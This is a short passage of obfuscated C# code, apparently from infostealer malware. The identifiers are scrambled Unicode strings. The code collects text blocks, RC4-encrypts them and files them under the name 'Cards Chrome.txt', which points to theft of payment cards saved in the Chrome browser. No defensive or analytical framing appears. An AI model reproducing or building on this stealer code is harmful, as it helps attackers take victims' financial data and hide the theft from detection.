Environment.NewLine
});
text = text + "===============================" + Environment.NewLine;
}
}
}
if (text != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0339\u0020\u0332\u0324\u0349\u0020\u0359\u0020\u0368t\u034E\u0342\u0330\u0331\u0020\u0329apcrmahbbefdsscl\u0349\u0353\u0307\u034F\u0347\u035B\u032C\u0352\u032B\u0331\u0020\u0325\u0330\u0326\u0020\u031Dagehontzszdfjqjv + "\\Cards Chrome.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
if (list != null)
{
list.Clear();
}
text = null;
}